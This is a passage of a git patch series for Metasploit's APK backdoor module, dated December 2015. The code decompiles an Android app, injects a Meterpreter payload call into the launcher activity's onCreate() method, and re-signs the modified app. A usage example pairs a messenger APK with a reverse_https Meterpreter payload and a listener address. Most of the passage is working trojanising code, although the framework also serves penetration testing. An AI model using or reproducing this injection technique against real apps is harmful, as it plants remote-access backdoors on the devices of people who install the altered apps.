} - rescue - $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" - usage - exit(1) - end - - print "[*] Generating msfvenom payload..\n" - msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) - msfvenom_command = "#{msfvenom_path} -f raw #{opts}" - begin - stdin, stdout, stderr = Open3.popen3(msfvenom_command) - payload = stdout.read - msfvenom_output = stderr.read - backdoor_payload(ARGV[0], payload) - rescue Errno::ENOENT - $stderr.puts msfvenom_output - exit(1) - end - -end - From d2a9aa18d89b1be5055f0597aad96913e3d3f327 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 16:06:01 +0000 Subject: [PATCH 13/15] fix sillyness --- lib/msf/core/payload_generator.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 11434d52e4..74ee6b6c4e 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -309,7 +309,7 @@ module Msf raw_payload = generate_java_payload cli_print "Payload size: #{raw_payload.length} bytes" raw_payload - elsif payload.start_with? "android/" + elsif payload.start_with? "android/" and not template.blank? cli_print "Using APK template: #{template}" apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new() raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload) From 69b65e7d397ff4aa247629fad508da5cc175f6f8 Mon Sep 17 00:00:00 2001 From: Tim Date: Thu, 24 Dec 2015 09:13:56 +0000 Subject: [PATCH 14/15] fix error handling --- lib/msf/core/payload/apk.rb | 23 ++++++++++------------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 107d70d5b7..62764370a0 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -21,13 +21,13 @@ module Msf::Payload::Apk $stderr.puts "[*] #{msg}" end - def print_error(msf='') + def print_error(msg='') $stderr.puts "[-] #{msg}" end def usage - print_error "Usage: #{$0} [target.apk] [msfvenom options]\n" - print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n" + print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" end def run_cmd(cmd) @@ -120,25 +120,22 @@ module Msf::Payload::Apk def backdoor_payload(apkfile, raw_payload) unless apkfile && File.readable?(apkfile) usage - exit(1) + raise RuntimeError, "Invalid template: #{apkfile}" end jarsigner = run_cmd("jarsigner") unless jarsigner != nil - print_error("jarsigner not found. If it's not in your PATH, please add it.") - exit(1) + raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it." end apktool = run_cmd("apktool -version") unless apktool != nil - print_error "apktool not found. If it's not in your PATH, please add it." - exit(1) + raise RuntimeError, "apktool not found. If it's not in your PATH, please add it." end apk_v = Gem::Version.new(apktool) unless apk_v >= Gem::Version.new('2.0.1') - print_error "apktool version #{apk_v} not supported, please download at least version 2.0.1." - exit(1) + raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1." end #Create temporary directory where work will be done @@ -163,8 +160,7 @@ module Msf::Payload::Apk begin activitysmali = File.read(smalifile) rescue Errno::ENOENT - print_status "Unable to find correct hook automatically\n" - exit + raise RuntimeError, "Unable to find hook point in #{apkfile}\n" end print_status "Copying payload files..\n" @@ -185,8 +181,9 @@ module Msf::Payload::Apk run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") outputapk = File.read(injected_apk) - rescue + FileUtils.remove_entry tempdir + outputapk end end From 5d0e868fd6422bafaf102c57398837acac8a46ef Mon Sep 17 00:00:00 2001 From: Tim Date: Thu, 24 Dec 2015 12:21:08 +0000 Subject: [PATCH 15/15] facebook.orca fixes --- lib/msf/core/payload/apk.rb | 46 +++++++++++++++++++++++++------------ 1 file changed, 31 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 62764370a0..7aa9c34bb6 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -44,7 +44,10 @@ module Msf::Payload::Apk package = amanifest.xpath("//manifest").first['package'] activities = amanifest.xpath("//activity|//activity-alias") for activity in activities - activityname = activity.attribute("name") + activityname = activity.attribute("targetActivity") + unless activityname + activityname = activity.attribute("name") + end category = activity.search('category') unless category next @@ -52,11 +55,11 @@ module Msf::Payload::Apk for cat in category categoryname = cat.attribute('name') if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') - activityname = activityname.to_s - unless activityname.start_with?(package) - activityname = package + activityname + name = activityname.to_s + if name.start_with?('.') + name = package + name end - return activityname + return name end end end @@ -153,22 +156,35 @@ module Msf::Payload::Apk amanifest = Nokogiri::XML(f) f.close - print_status "Locating onCreate() hook..\n" - + print_status "Locating hook point..\n" launcheractivity = find_launcher_activity(amanifest) - smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" - begin - activitysmali = File.read(smalifile) - rescue Errno::ENOENT - raise RuntimeError, "Unable to find hook point in #{apkfile}\n" + unless launcheractivity + raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n" + end + smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali" + smalifiles = Dir.glob(smalifile) + for smalifile in smalifiles + if File.readable?(smalifile) + activitysmali = File.read(smalifile) + end + end + + unless activitysmali + raise RuntimeError, "Unable to find hook point in #{smalifiles}\n" + end + + entrypoint = ';->onCreate(Landroid/os/Bundle;)V' + unless activitysmali.include? entrypoint + raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n" end print_status "Copying payload files..\n" FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" - activitycreate = ';->onCreate(Landroid/os/Bundle;)V' - payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" - hookedsmali = activitysmali.gsub(activitycreate, payloadhook) + + payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" + hookedsmali = activitysmali.gsub(entrypoint, payloadhook) + print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } injected_apk = "#{tempdir}/output.apk"